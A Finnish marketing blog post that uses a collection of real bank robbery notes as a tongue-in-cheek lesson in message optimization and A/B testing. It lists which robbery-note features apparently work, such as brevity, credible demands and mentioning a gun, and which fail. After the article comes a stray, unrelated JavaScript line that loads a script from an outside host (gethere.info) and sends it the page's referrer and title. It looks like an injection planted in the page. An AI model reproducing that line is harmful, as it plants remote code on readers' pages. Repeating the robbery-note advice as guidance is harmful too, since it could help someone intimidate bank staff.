6.11.2009

bank robbery

W.Steinmannin optimointikoulussa opetetaan, miten nykyisestä

internetmarkkinoinnista voi saada enemmän tehoa progressiivisen markkinoinnin oppien mukaisesti. Ensimmäisessä osassa aiheena oli optimoinnin perusteet ja tässä osassa syvennytään optimointiin huisin benchmarkin avulla.

Internet mahdollistaa erinomaisesti benchmarkkauksen eri toimialoilta. Havainnollistan viestin optimointia amerikkalaisten pankkiryöstäjien avustuksella.

Bank Notes: a collection of Bank Robbery notes on nimensä mukaisesti kokoelma pankkiryöstäjien lappuja, joita he antavat pankin henkilökunnalle. Mukaan on liitetty kuva ja tiedot ryöstäjästä sekä se, onko hän onnistunut ryöstössään vai ei.

Bank Notes -sivusto tarjoaa erinomaisen oppitunnin jokaiselle pankkiryöstäjäksi haluavalle ja myös meille optimoinnista kiinnostuneille. Kun sivustoa selaa, käy erinomaisen selväksi, että se, mitä viestissä lukee vaikuttaa todella paljon onnistumiseen.

Myös ryöstäjän ulkonäkö, eli kuinka hyvin hän on onnistunut naamioimaan itsensä, vaikuttaa kiinnijäämisen todennäköisyyteen, mutta ryöstön onnistumiseen sillä ei juuri tunnu olevan vaikutusta.

Minkälainen pankkiryöstölappu toimii

  • lyhyt
  • selväsanainen
  • uskottava – liian pienet ja liian suuret vaatimukset eivät uppoa paatuneeseen pankkivirkailijaan.
  • maininta aseesta. *
  • selkeästi muotoiltu mitä haluaa

Mitä ei kannata kirjoittaa lappuun, jolla aikoo ryöstää pankin?

  • epäselvä
  • liian pitkä
  • kirjoitusvirheitä
  • nokkela
  • ohjeiltaan epämääräinen.
  • mainintaa pommista *
  • liian kohtelias. Loppuun ei kannata kirjoittaa ”Thanks”.

”No nyt minä sitten osaan ryöstää pankin, entäs sitten?”

Kuten pankkia ryöstettäessä, myös markkinoinnissa pyritään saamaan vastapuoli käyttäytymään halutulla tavalla. On kuitenkin vaikeaa tietää etukäteen, miten käyttäjä reagoi viestiimme.

Perusteltujen päätösten tekeminen on vaikeaa, ellemme ole keränneet dataa, johon perustaa päätökset. Eri variaatioiden kokeileminen ja niiden onnistumisen mittaaminen sekä analysointi on olennaista nykyaikaisessa – progressiivisessa – markkinoinnissa.

Optimointikoulun 3. osassa perehdytään hakukonemainonnan optimointiin ja siihen, miten Google optimoi voittoaan.

Timo Paloheimo on W.Steinmannin Digital Planner

*) Pommilla uhkailu ei todennäköisesti toimi koska se ei ole suoraan kohdistettu pankkivirkailijaan kuten ase. Pommin potentiaalinen teho ei ole virkailijan tiedossa ja uhka jää täten epämääräiseksi. Ja kaikkihan osaavat katkaista sen punaisen langan?

BTW, ylläolevassa kuvassa esiintyvä pankkiryöstäjä onnistui tavoitteessaan lyhyen ytimekkäällä viestillään: ”I’m ready to die.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ’&default_keyword=’ + encodeURIComponent(document.title) + ”;